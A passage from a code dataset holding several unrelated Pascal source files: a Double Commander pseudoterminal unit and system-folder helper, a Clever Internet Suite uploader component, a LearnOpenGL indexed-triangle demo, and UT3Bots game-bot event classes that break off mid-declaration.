text stringlengths 14 6.51M |
|---|
{
Double Commander
-------------------------------------------------------------------------
Unix pseudoterminal device implementation
Copyright (C) 2021 Alexander Koblov (alexx2000@mail.ru)
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
}
unit VTEmuPty;
{$mode delphi}
interface
uses
Classes, SysUtils, BaseUnix, TermIO, InitC, VTEmuCtl;
// Under Linux and BSD forkpty is situated in libutil.so library
{$IF NOT DEFINED(DARWIN)}
{$LINKLIB util}
{$ENDIF}
type
{ TPtyDevice }
TPtyDevice = class(TCustomPtyDevice)
private
Fpty: LongInt;
FThread: TThread;
FChildPid: THandle;
FEventPipe: TFilDes;
FLength, FCols, FRows: Integer;
FBuffer: array[0..8191] of AnsiChar;
protected
procedure ReadySync;
procedure ReadThread;
procedure SetConnected(AValue: Boolean); override;
function CreatePseudoConsole(const cmd: String): Boolean;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function WriteStr(const Str: string): Integer; override;
function SetCurrentDir(const Path: String): Boolean; override;
function SetScreenSize(aCols, aRows: Integer): Boolean; override;
end;
implementation
uses
Errors, DCOSUtils, DCStrUtils, DCUnix;
type
Pwinsize = ^winsize;
Ptermios = ^termios;
function forkpty(__amaster: Plongint; __name: Pchar; __termp: Ptermios; __winp: Pwinsize): longint;cdecl;external clib name 'forkpty';
function execl(__path: Pchar; __arg: Pchar): longint;cdecl;varargs;external clib name 'execl';
{ TPtyDevice }
procedure TPtyDevice.SetConnected(AValue: Boolean);
var
AShell: String;
Symbol: Byte = 0;
begin
if FConnected = AValue then Exit;
FConnected:= AValue;
if FConnected then
begin
AShell:= mbGetEnvironmentVariable('SHELL');
if Length(AShell) = 0 then AShell:= '/bin/sh';
FConnected:= CreatePseudoConsole(AShell);
if FConnected then
begin
FThread:= TThread.ExecuteInThread(ReadThread);
end;
end
else begin
if FChildPid > 0 then
begin
FpKill(FChildPid, SIGTERM);
end;
FileWrite(FEventPipe[1], Symbol, 1);
end;
end;
procedure TPtyDevice.ReadySync;
begin
if Assigned(FOnRxBuf) then
FOnRxBuf(Self, FBuffer, FLength);
end;
procedure TPtyDevice.ReadThread;
var
ret: cint;
symbol: byte = 0;
fds: array[0..1] of tpollfd;
begin
fds[0].fd:= FEventPipe[0];
fds[0].events:= POLLIN;
fds[1].fd:= Fpty;
fds[1].events:= POLLIN;
while FConnected do
begin
repeat
ret:= fpPoll(@fds[0], 2, -1);
until (ret <> -1) or (fpGetErrNo <> ESysEINTR);
if (ret = -1) then
begin
WriteLn(SysErrorMessage(fpGetErrNo));
Break;
end;
if (fds[0].events and fds[0].revents <> 0) then
begin
while FileRead(fds[0].fd, symbol, 1) <> -1 do;
Break;
end;
if (fds[1].events and fds[1].revents <> 0) then
begin
FLength:= FileRead(Fpty, FBuffer, SizeOf(FBuffer));
if (FLength > 0) then TThread.Synchronize(FThread, ReadySync);
end;
end;
end;
function TPtyDevice.CreatePseudoConsole(const cmd: String): Boolean;
var
ws: TWinSize;
begin
ws.ws_row:= FRows;
ws.ws_col:= FCols;
ws.ws_xpixel:= 0;
ws.ws_ypixel:= 0;
FChildPid:= forkpty(@Fpty, nil, nil, @ws);
if FChildPid = 0 then
begin
FileCloseOnExecAll;
setenv('TERM', 'xterm-256color', 1);
execl(PAnsiChar(cmd), PAnsiChar(cmd), nil);
Errors.PError('execl() failed. Command: '+ cmd, cerrno);
fpExit(127);
end;
Result:= (FChildPid > 0);
end;
constructor TPtyDevice.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
if fpPipe(FEventPipe) < 0 then
WriteLn(SysErrorMessage(fpGetErrNo))
else begin
// Set both ends of pipe non blocking
FileCloseOnExec(FEventPipe[0]); FileCloseOnExec(FEventPipe[1]);
FpFcntl(FEventPipe[0], F_SetFl, FpFcntl(FEventPipe[0], F_GetFl) or O_NONBLOCK);
FpFcntl(FEventPipe[1], F_SetFl, FpFcntl(FEventPipe[1], F_GetFl) or O_NONBLOCK);
end;
end;
destructor TPtyDevice.Destroy;
begin
SetConnected(False);
inherited Destroy;
FileClose(FEventPipe[0]);
FileClose(FEventPipe[1]);
end;
function TPtyDevice.WriteStr(const Str: string): Integer;
begin
Result:= FileWrite(Fpty, Pointer(Str)^, Length(Str));
end;
function TPtyDevice.SetCurrentDir(const Path: String): Boolean;
begin
Result:= WriteStr(' cd ' + EscapeNoQuotes(Path) + #13) > 0;
end;
function TPtyDevice.SetScreenSize(aCols, aRows: Integer): Boolean;
var
ws: TWinSize;
begin
ws.ws_row:= aRows;
ws.ws_col:= aCols;
ws.ws_xpixel:= 0;
ws.ws_ypixel:= 0;
Result:= FpIOCtl(Fpty,TIOCSWINSZ,@ws) = 0;
if Result then
begin
FCols:= aCols;
FRows:= aRows;
end;
end;
end.
|
{
Clever Internet Suite Version 6.2
Copyright (C) 1999 - 2006 Clever Components
www.CleverComponents.com
}
unit clUploader;
interface
{$I clVer.inc}
uses
Classes, clMultiDC, clSingleDC, clDCUtils, clMultiUploader, clHttpRequest;
type
TclSingleUploadItem = class(TclUploadItem)
protected
function GetForceRemoteDir: Boolean; override;
function GetControl: TclCustomInternetControl; override;
end;
TclCustomUploaderControl = class(TclSingleInternetControl)
private
FForceRemoteDir: Boolean;
function GetUploadItem(): TclSingleUploadItem;
function GetHttpResponse: TStrings;
function GetHttpResponseStream: TStream;
function GetUseSimpleRequest: Boolean;
procedure SetHttpResponseStream(const Value: TStream);
procedure SetUseSimpleRequest(const Value: Boolean);
function GetRequestMethod: string;
procedure SetRequestMethod(const Value: string);
protected
function GetInternetItemClass(): TclInternetItemClass; override;
property UseSimpleRequest: Boolean read GetUseSimpleRequest write SetUseSimpleRequest default False;
property RequestMethod: string read GetRequestMethod write SetRequestMethod;
property ForceRemoteDir: Boolean read FForceRemoteDir write FForceRemoteDir default False;
public
property HttpResponse: TStrings read GetHttpResponse;
property HttpResponseStream: TStream read GetHttpResponseStream write SetHttpResponseStream;
end;
TclUploader = class(TclCustomUploaderControl)
published
property Connection;
property KeepConnection;
property URL;
property LocalFile;
property UserName;
property Password;
property Port;
property ReconnectAfter;
property TryCount;
property TimeOut;
property BatchSize;
property Priority;
property CertificateFlags;
property UseInternetErrorDialog;
property UseHttpRequest;
property UseSimpleRequest;
property RequestMethod;
property MinResourceSize;
property MaxResourceSize;
property HttpProxySettings;
property FtpProxySettings;
property ProxyBypass;
property InternetAgent;
property PassiveFTPMode;
property ForceRemoteDir;
property HttpRequest;
property DoNotGetResourceInfo;
property OnGetResourceInfo;
property OnStatusChanged;
property OnDataItemProceed;
property OnError;
property OnUrlParsing;
property OnChanged;
property OnIsBusyChanged;
property OnGetCertificate;
property OnProcessCompleted;
end;
implementation
{ TclSingleUploadItem }
type
TCollectionAccess = class(TCollection);
function TclSingleUploadItem.GetControl: TclCustomInternetControl;
begin
Result := (TCollectionAccess(Collection).GetOwner() as TclCustomInternetControl);
end;
function TclSingleUploadItem.GetForceRemoteDir: Boolean;
begin
Result := (Control as TclCustomUploaderControl).ForceRemoteDir;
end;
{ TclCustomUploaderControl }
function TclCustomUploaderControl.GetInternetItemClass: TclInternetItemClass;
begin
Result := TclSingleUploadItem;
end;
function TclCustomUploaderControl.GetHttpResponse: TStrings;
begin
Result := GetUploadItem().HttpResponse;
end;
function TclCustomUploaderControl.GetHttpResponseStream: TStream;
begin
Result := GetUploadItem().HttpResponseStream;
end;
function TclCustomUploaderControl.GetUploadItem(): TclSingleUploadItem;
begin
Result := (GetInternetItem() as TclSingleUploadItem);
end;
function TclCustomUploaderControl.GetUseSimpleRequest: Boolean;
begin
Result := GetUploadItem().UseSimpleRequest;
end;
procedure TclCustomUploaderControl.SetHttpResponseStream(const Value: TStream);
begin
GetUploadItem().HttpResponseStream := Value;
end;
procedure TclCustomUploaderControl.SetUseSimpleRequest(const Value: Boolean);
begin
GetUploadItem().UseSimpleRequest := Value;
end;
function TclCustomUploaderControl.GetRequestMethod: string;
begin
Result := GetUploadItem().RequestMethod;
end;
procedure TclCustomUploaderControl.SetRequestMethod(const Value: string);
begin
GetUploadItem().RequestMethod := Value;
end;
end.
|
{
Double Commander
-------------------------------------------------------------------------
Get system folders.
Copyright (C) 2006-2022 Alexander Koblov (alexx2000@mail.ru)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
}
unit uSysFolders;
{$mode ObjFPC}{$H+}
interface
uses
Classes, SysUtils;
{en
Get the user home directory
@returns(The user home directory)
}
function GetHomeDir : String;
{en
Get the appropriate directory for the application's configuration files
@returns(The directory for the application's configuration files)
}
function GetAppConfigDir: String;
{en
Get the appropriate directory for the application's cache files
@returns(The directory for the application's cache files)
}
function GetAppCacheDir: String;
{en
Get the appropriate directory for the application's data files
@returns(The directory for the application's data files)
}
function GetAppDataDir: String;
implementation
uses
DCOSUtils, DCStrUtils, DCConvertEncoding, LazUTF8
{$IF DEFINED(MSWINDOWS)}
, Windows, ShlObj, DCWindows
{$ENDIF}
{$IF DEFINED(UNIX)}
, BaseUnix, Unix, DCUnix
{$IF DEFINED(DARWIN)}
, CocoaAll, uMyDarwin
{$ELSE}
, uXdg
{$ENDIF}
{$ENDIF}
;
function GetHomeDir : String;
{$IFDEF MSWINDOWS}
begin
Result:= ExcludeBackPathDelimiter(mbGetEnvironmentVariable('USERPROFILE'));
end;
{$ELSE}
begin
Result:= ExcludeBackPathDelimiter(SysToUTF8(GetEnvironmentVariable('HOME')));
end;
{$ENDIF}
function GetAppConfigDir: String;
{$IF DEFINED(MSWINDOWS)}
const
SHGFP_TYPE_CURRENT = 0;
var
wPath: array[0..MAX_PATH-1] of WideChar;
wUser: UnicodeString;
dwLength: DWORD;
begin
if SUCCEEDED(SHGetFolderPathW(0, CSIDL_APPDATA or CSIDL_FLAG_CREATE, 0, SHGFP_TYPE_CURRENT, @wPath[0])) or
SUCCEEDED(SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA or CSIDL_FLAG_CREATE, 0, SHGFP_TYPE_CURRENT, @wPath[0])) then
begin
Result := UTF16ToUTF8(UnicodeString(wPath));
end
else
begin
dwLength := UNLEN + 1;
SetLength(wUser, dwLength);
if GetUserNameW(PWideChar(wUser), @dwLength) then
begin
SetLength(wUser, dwLength - 1);
Result := GetTempDir + UTF16ToUTF8(wUser);
end
else
Result := EmptyStr;
end;
if Result <> '' then
Result := Result + DirectorySeparator + ApplicationName;
end;
{$ELSEIF DEFINED(DARWIN)}
begin
Result:= GetHomeDir + '/Library/Preferences/' + ApplicationName;
end;
{$ELSE}
var
uinfo: PPasswordRecord;
begin
uinfo:= getpwuid(fpGetUID);
if (uinfo <> nil) and (uinfo^.pw_dir <> '') then
Result:= CeSysToUtf8(uinfo^.pw_dir) + '/.config/' + ApplicationName
else
Result:= ExcludeTrailingPathDelimiter(SysToUTF8(SysUtils.GetAppConfigDir(False)));
end;
{$ENDIF}
function GetAppCacheDir: String;
{$IF DEFINED(MSWINDOWS)}
var
APath: array[0..MAX_PATH] of WideChar;
begin
if SHGetSpecialFolderPathW(0, APath, CSIDL_LOCAL_APPDATA, True) then
Result:= UTF16ToUTF8(UnicodeString(APath)) + DirectorySeparator + ApplicationName
else
Result:= GetAppConfigDir;
end;
{$ELSEIF DEFINED(DARWIN)}
begin
Result:= NSGetFolderPath(NSCachesDirectory);
end;
{$ELSE}
var
uinfo: PPasswordRecord;
begin
uinfo:= getpwuid(fpGetUID);
if (uinfo <> nil) and (uinfo^.pw_dir <> '') then
Result:= CeSysToUtf8(uinfo^.pw_dir) + '/.cache/' + ApplicationName
else
Result:= GetHomeDir + '/.cache/' + ApplicationName;
end;
{$ENDIF}
function GetAppDataDir: String;
{$IF DEFINED(MSWINDOWS)}
begin
Result:= GetAppCacheDir;
end;
{$ELSEIF DEFINED(DARWIN)}
begin
Result:= NSGetFolderPath(NSApplicationSupportDirectory);
end;
{$ELSE}
begin
Result:= IncludeTrailingPathDelimiter(GetUserDataDir) + ApplicationName;
end;
{$ENDIF}
end.
|
program hello_triangle_indexed;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils, gl, GLext, glfw31;
const
// settings
SCR_WIDTH = 800;
SCR_HEIGHT = 600;
// process all input: query GLFW whether relevant keys are pressed/released this frame and react accordingly
// ---------------------------------------------------------------------------------------------------------
procedure processInput(window: pGLFWwindow); cdecl;
begin
if glfwGetKey(window, GLFW_KEY_ESCAPE) = GLFW_PRESS then
begin
glfwSetWindowShouldClose(window, GLFW_TRUE);
end;
end;
// glfw: whenever the window size changed (by OS or user resize) this callback function executes
// ---------------------------------------------------------------------------------------------
procedure framebuffer_size_callback(window: pGLFWwindow; width, height: Integer); cdecl;
begin
// make sure the viewport matches the new window dimensions; note that width and
// height will be significantly larger than specified on retina displays.
glViewport(0, 0, width, height);
end;
procedure showError(error: GLFW_INT; description: PChar); cdecl;
begin
Writeln(description);
end;
var
window: pGLFWwindow;
// set up vertex data
// ------------------
vertices: array[0..11] of GLfloat = (
0.5, 0.5, 0.0, // top right
0.5, -0.5, 0.0, // bottom right
-0.5, -0.5, 0.0, // botom left
-0.5, 0.5, 0.0 // top left
);
indices: array[0..5] of GLuint = ( // note that we start from 0!
0, 1, 3, // first Triangle
1, 2, 3 // second Triangle
);
VBO, VAO, EBO: GLuint;
vertexShader: GLuint;
vertexShaderSource: PGLchar;
fragmentShader: GLuint;
fragmentShaderSource: PGLchar;
shaderProgram: GLuint;
success: GLint;
infoLog : array [0..511] of GLchar;
begin
// glfw: initialize and configure
// ------------------------------
glfwInit;
glfwSetErrorCallback(@showError);
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
// glfw window creation
// --------------------
window := glfwCreateWindow(SCR_WIDTH, SCR_HEIGHT, 'LearnOpenGL', nil, nil);
if window = nil then
begin
Writeln('Failed to create GLFW window');
glfwTerminate;
end;
glfwMakeContextCurrent(window);
glfwSetFramebufferSizeCallback(window, @framebuffer_size_callback);
// GLext: load all OpenGL function pointers
// ---------------------------------------
if Load_GL_version_3_3_CORE = false then
begin
Writeln('OpenGL 3.3 is not supported!');
glfwTerminate;
Exit;
end;
// build and compile our shader program
// ------------------------------------
// vertex shader
vertexShaderSource := '#version 330 core' + #10
+ 'layout (location = 0) in vec3 position;' + #10
+ ' ' + #10
+ 'void main()' + #10
+ '{' + #10
+ ' gl_Position = vec4(position.x, position.y, position.z, 1.0);' + #10
+ '}' + #10;
vertexShader := glCreateShader(GL_VERTEX_SHADER);
glShaderSource(vertexShader, 1, @vertexShaderSource, nil);
glCompileShader(vertexShader);
// check for shader compile errors
glGetShaderiv(vertexShader, GL_COMPILE_STATUS, @success);
if success <> GL_TRUE then
begin
// static array @infoLog = @infoLog[0]
glGetShaderInfoLog(vertexShader, 512, nil, @infoLog);
Writeln('ERROR::SHADER::VERTEX::COMPILATION_FAILED');
Writeln(infoLog);
end;
// fragment shader
fragmentShaderSource := '#version 330 core' + #10
+ 'out vec4 color;' + #10
+ '' + #10
+ 'void main()' + #10
+ '{' + #10
+ ' color = vec4(1.0f, 0.5f, 0.2f, 1.0f);' + #10
+ '}' + #10;
fragmentShader := glCreateShader(GL_FRAGMENT_SHADER);
glShaderSource(fragmentShader, 1, @fragmentShaderSource, nil);
glCompileShader(fragmentShader);
// check for shader compile errors
glGetShaderiv(fragmentShader, GL_COMPILE_STATUS, @success);
if success <> GL_TRUE then
begin
glGetShaderInfoLog(fragmentShader, 512, nil, @infoLog);
Writeln('ERROR::SHADER::FRAGMENT::COMPILATION_FAILED');
Writeln(infoLog);
end;
// link shaders
shaderProgram := glCreateProgram();
glAttachShader(shaderProgram, vertexShader);
glAttachShader(shaderProgram, fragmentShader);
glLinkProgram(shaderProgram);
// check for link errors
glGetProgramiv(shaderProgram, GL_LINK_STATUS, @success);
if success <> GL_TRUE then
begin
glGetProgramInfoLog(shaderProgram, 512, nil, @infoLog);
Writeln('ERROR::SHADER::PROGRAM::LINKING_FAILED');
Writeln(infoLog);
end;
glDeleteShader(vertexShader);
glDeleteShader(fragmentShader);
// VBO & VAO
glGenVertexArrays(1, @VAO);
glGenBuffers(1, @VBO);
glGenBuffers(1, @EBO);
// bind the Vertex Array Object first, then bind and set vertex buffer(s), and then configure vertex attributes(s).
glBindVertexArray(VAO);
glBindBuffer(GL_ARRAY_BUFFER, VBO);
glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), @vertices, GL_STATIC_DRAW);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, EBO);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(indices), @indices, GL_STATIC_DRAW);
glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(GLfloat), PGLvoid(0));
glEnableVertexAttribArray(0);
// note that this is allowed, the call to glVertexAttribPointer registered VBO as the vertex attribute's bound vertex buffer object so afterwards we can safely unbind
glBindBuffer(GL_ARRAY_BUFFER, 0);
// remember: do NOT unbind the EBO while a VAO is active as the bound element buffer object IS stored in the VAO; keep the EBO bound.
//glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);
// You can unbind the VAO afterwards so other VAO calls won't accidentally modify this VAO, but this rarely happens. Modifying other
// VAOs requires a call to glBindVertexArray anyways so we generally don't unbind VAOs (nor VBOs) when it's not directly necessary.
glBindVertexArray(0);
// uncomment this call to draw in wireframe polygons.
// glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
while glfwWindowShouldClose(window) = GLFW_FALSE do
begin
// input
// -----
processInput(window);
// render
// ------
glClearColor(0.2, 0.3, 0.3, 1.0);
glClear(GL_COLOR_BUFFER_BIT);
// draw our first triangle
glUseProgram(shaderProgram);
glBindVertexArray(VAO); // seeing as we only have a single VAO there's no need to bind it every time, but we'll do so to keep things a bit more organized
//glDrawArrays(GL_TRIANGLES, 0, 3);
glDrawElements(GL_TRIANGLES, 6, GL_UNSIGNED_INT, nil);
// glBindVertexArray(0); // no need to unbind it every time
// glfw: swap buffers and poll IO events (keys pressed/released, mouse moved etc.)
// -------------------------------------------------------------------------------
glfwSwapBuffers(window);
glfwPollEvents;
end;
// optional: de-allocate all resources once they've outlived their purpose:
// ------------------------------------------------------------------------
glDeleteVertexArrays(1, @VAO);
glDeleteBuffers(1, @VBO);
glDeleteBuffers(1, @EBO);
glDeleteProgram(shaderProgram);
// glfw: terminate, clearing all previously allocated GLFW resources.
// ------------------------------------------------------------------
glfwTerminate;
end.
|
// RemObjects CS to Pascal 0.1
namespace UT3Bots;
interface
uses
System,
System.Collections.Generic,
System.Linq,
System.Text,
UT3Bots.UTItems;
type
BotSpawnedEventArgs = public class(EventArgs)
assembly or protected
constructor;
end;
HasDiedEventArgs = public class(EventArgs)
private
var _killer: UTIdentifier;
var _killed: UTIdentifier;
assembly or protected
constructor(Killer: UTIdentifier; Killed: UTIdentifier);
/// <summary>
/// The bot that killed the other one
/// </summary>
public
property Killer: UTIdentifier read get_Killer;
method get_Killer: UTIdentifier;
/// <summary>
/// The bot that died
/// </summary>
property Killed: UTIdentifier read get_Killed;
method get_Killed: UTIdentifier;
end;
SeenBotEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _name: String;
var _team: String;
var _weapon: String;
var _rotation: UTVector;
var _location: UTVector;
var _velocity: UTVector;
var _isReachable: Boolean;
assembly or protected
constructor(Id: UTIdentifier; Name: String; Team: String; Weapon: String; Rotation: UTVector; Location: UTVector; Velocity: UTVector; IsReachable: Boolean);
public
/// <summary>
/// The bot that you just saw
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The name of the bot
/// </summary>
property Name: String read get_Name;
method get_Name: String;
/// <summary>
/// The team the bot is on
/// </summary>
property Team: String read get_Team;
method get_Team: String;
/// <summary>
/// The weapon that the bot is currently using
/// </summary>
property Weapon: String read get_Weapon;
method get_Weapon: String;
/// <summary>
/// The vector that the bot is facing
/// </summary>
property Rotation: UTVector read get_Rotation;
method get_Rotation: UTVector;
/// <summary>
/// The location of the bot
/// </summary>
property Location: UTVector read get_Location;
method get_Location: UTVector;
/// <summary>
/// The velocity of the bot
/// </summary>
property Velocity: UTVector read get_Velocity;
method get_Velocity: UTVector;
/// <summary>
/// True if the bot is reachable by running straight to it, False if soemthing is in the way
/// </summary>
property IsReachable: Boolean read get_IsReachable;
method get_IsReachable: Boolean;
end;
BumpedEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _location: UTVector;
var _hitNormal: UTVector;
assembly or protected
constructor(Id: UTIdentifier; Location: UTVector; HitNormal: UTVector);
/// <summary>
/// The id of the bot that you just bumped
/// </summary>
public
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The location that you just bumped into
/// </summary>
property Location: UTVector read get_Location;
method get_Location: UTVector;
/// <summary>
/// The normal vector between your bot's rotation and that of the bot you bumped
/// </summary>
property HitNormal: UTVector read get_HitNormal;
method get_HitNormal: UTVector;
end;
HeardSoundEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _location: UTVector;
var _loudness: Single;
assembly or protected
constructor(Id: UTIdentifier; Location: UTVector; Loudness: Single);
/// <summary>
/// The id of the thing that made the sound
/// </summary>
public
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The location the sound came from
/// </summary>
property Location: UTVector read get_Location;
method get_Location: UTVector;
/// <summary>
/// How loud the noise was
/// </summary>
property Loudness: Single read get_Loudness;
method get_Loudness: Single;
end;
DamagedEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _location: UTVector;
var _damageAmount: Integer;
var _damageType: String;
var _momentum: UTVector;
assembly or protected
constructor(Id: UTIdentifier; Location: UTVector; DamageAmount: Integer; DamageType: String; Momentum: UTVector);
public
/// <summary>
/// The Id of the thing that damaged you
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The location you were hit from
/// </summary>
property Location: UTVector read get_Location;
method get_Location: UTVector;
/// <summary>
/// The amount of damage you just took
/// </summary>
property DamageAmount: Integer read get_DamageAmount;
method get_DamageAmount: Integer;
/// <summary>
/// A string describing the type of damage
/// </summary>
property DamageType: String read get_DamageType;
method get_DamageType: String;
/// <summary>
/// The momentum of the thing that damaged you
/// </summary>
property Momentum: UTVector read get_Momentum;
method get_Momentum: UTVector;
end;
ChatEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _fromName: String;
var _isFromTeam: Boolean;
var _message: String;
assembly or protected
constructor(Id: UTIdentifier; FromName: String; IsFromTeam: Boolean; Message: String);
public
/// <summary>
/// The Id of the bot that just sent a chat message
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The name of the bot that sent the chat message
/// </summary>
property FromName: String read get_FromName;
method get_FromName: String;
/// <summary>
/// True if the message came from a bot on your team
/// </summary>
property IsFromTeam: Boolean read get_IsFromTeam;
method get_IsFromTeam: Boolean;
/// <summary>
/// The message that was sent
/// </summary>
property Message: String read get_Message;
method get_Message: String;
end;
TauntedEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _fromName: String;
assembly or protected
constructor(Id: UTIdentifier; FromName: String);
public
/// <summary>
/// The Id of the bot that taunted you
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The name of the bot that taunted you
/// </summary>
property FromName: String read get_FromName;
method get_FromName: String;
end;
FallEventArgs = public class(EventArgs)
private
var _didFall: Boolean;
var _location: UTVector;
assembly or protected
constructor(DidFall: Boolean; Location: UTVector);
public
/// <summary>
/// True if you fell off the ledge, false if you didn't
/// </summary>
property DidFall: Boolean read get_DidFall;
method get_DidFall: Boolean;
/// <summary>
/// The location of the ledge
/// </summary>
property Location: UTVector read get_Location;
method get_Location: UTVector;
end;
WeaponChangedEventArgs = public class(EventArgs)
private
var _id: UTIdentifier;
var _weaponClass: String;
assembly or protected
constructor(Id: UTIdentifier; WeaponClass: String);
public
/// <summary>
/// The Id of the weapon
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The string describing the class of the weapon
/// </summary>
property WeaponClass: String read get_WeaponClass;
method get_WeaponClass: String;
end;
PickupEventArgs = public class(EventArgs)
private
var _item: UTItem;
var _wasDropped: Boolean;
assembly or protected
constructor(Item: UTItem; WasFromDrop: Boolean);
public
/// <summary>
/// The item that you picked up
/// </summary>
property Item: UTItem read get_Item;
method get_Item: UTItem;
/// <summary>
/// True if the item was dropped by someone else, False if it was from a pickup location
/// </summary>
property WasFromDrop: Boolean read get_WasFromDrop;
method get_WasFromDrop: Boolean;
end;
MatchEndedEventArgs = public class(EventArgs)
private
var _winnerId: UTIdentifier;
var _winnerName: String;
var _reason: String;
assembly or protected
constructor(WinnerId: UTIdentifier; WinnerName: String; Reason: String);
public
/// <summary>
/// The Id of the bot that won the game
/// </summary>
property WinnerId: UTIdentifier read get_WinnerId;
method get_WinnerId: UTIdentifier;
/// <summary>
/// THe name of the bot that won the game
/// </summary>
property WinnerName: String read get_WinnerName;
method get_WinnerName: String;
/// <summary>
/// A string describing the reason they won the match
/// </summary>
property Reason: String read get_Reason;
method get_Reason: String;
end;
PathEventArgs = public class(EventArgs)
private
var _id: String;
var _nodes: List<UTNavPoint>;
assembly or protected
constructor(Id: String; Nodes: List<UTNavPoint>);
public
/// <summary>
/// The Id that you sent in the GetPath method
/// </summary>
property Id: String read get_Id;
method get_Id: String;
/// <summary>
/// A ordered list of nodes that you must travel to to get to the location you specified in the GetPath call
/// </summary>
property Nodes: List<UTNavPoint> read get_Nodes;
method get_Nodes: List<UTNavPoint>;
end;
BotEvents = public class
private
var _utBot: UTBot;
assembly
method Trigger_OnSpawned(e: BotSpawnedEventArgs);
method Trigger_OnDied(e: HasDiedEventArgs);
method Trigger_OnOtherBotDied(e: HasDiedEventArgs);
method Trigger_OnSeenOtherBot(e: SeenBotEventArgs);
method Trigger_OnBumped(e: BumpedEventArgs);
method Trigger_OnBumpedWall(e: BumpedEventArgs);
method Trigger_OnHeardNoise(e: HeardSoundEventArgs);
method Trigger_OnDamaged(e: DamagedEventArgs);
method Trigger_OnReceivedChat(e: ChatEventArgs);
method Trigger_OnFoundFall(e: FallEventArgs);
method Trigger_OnTaunted(e: TauntedEventArgs);
method Trigger_OnWeaponChanged(e: WeaponChangedEventArgs);
method Trigger_OnGotPickup(e: PickupEventArgs);
method Trigger_OnMatchEnded(e: MatchEndedEventArgs);
method Trigger_OnPathReceived(e: PathEventArgs);
public
constructor(Bot: UTBot);
/// <summary>
/// Occurs when your bot spawns on the map after joining the game, and after dying
/// </summary>
event OnSpawned: EventHandler<BotSpawnedEventArgs>;
/// <summary>
/// Occurs when your bot is killed
/// </summary>
event OnDied: EventHandler<HasDiedEventArgs>;
/// <summary>
/// Occurs when another bot somewhere on the map dies
/// </summary>
event OnOtherBotDied: EventHandler<HasDiedEventArgs>;
/// <summary>
/// Occurs when your bot sees another bot
/// </summary>
event OnSeenOtherBot: EventHandler<SeenBotEventArgs>;
/// <summary>
/// Occurs when your bot bumps into another bot
/// </summary>
event OnBumped: EventHandler<BumpedEventArgs>;
/// <summary>
/// Occurs when your bot bumps into a wall
/// </summary>
event OnBumpedWall: EventHandler<BumpedEventArgs>;
/// <summary>
/// Occurs when your bot hears a noise such as a gun fire, or a bot walking
/// </summary>
event OnHeardNoise: EventHandler<HeardSoundEventArgs>;
/// <summary>
/// Occurs when your bot is damaged by something
/// </summary>
event OnDamaged: EventHandler<DamagedEventArgs>;
/// <summary>
/// Occurs when something is said in Chat
/// </summary>
event OnReceivedChat: EventHandler<ChatEventArgs>;
/// <summary>
/// Occurs when your bot runs into a ledge, if your bot is running, it is likely you have already started to fall
/// </summary>
event OnFoundFall: EventHandler<FallEventArgs>;
/// <summary>
/// Occurs when someone taunts your bot. Time for revenge!
/// </summary>
event OnTaunted: EventHandler<TauntedEventArgs>;
/// <summary>
/// Occurs when your bot changes weapon, either from a pickup or because you sent the ChangeWeapon command
/// </summary>
event OnWeaponChanged: EventHandler<WeaponChangedEventArgs>;
/// <summary>
/// Occurs when your bot picks up an item
/// </summary>
event OnGotPickup: EventHandler<PickupEventArgs>;
/// <summary>
/// Occurs when the match is over, because some one won or the host ended the game
/// </summary>
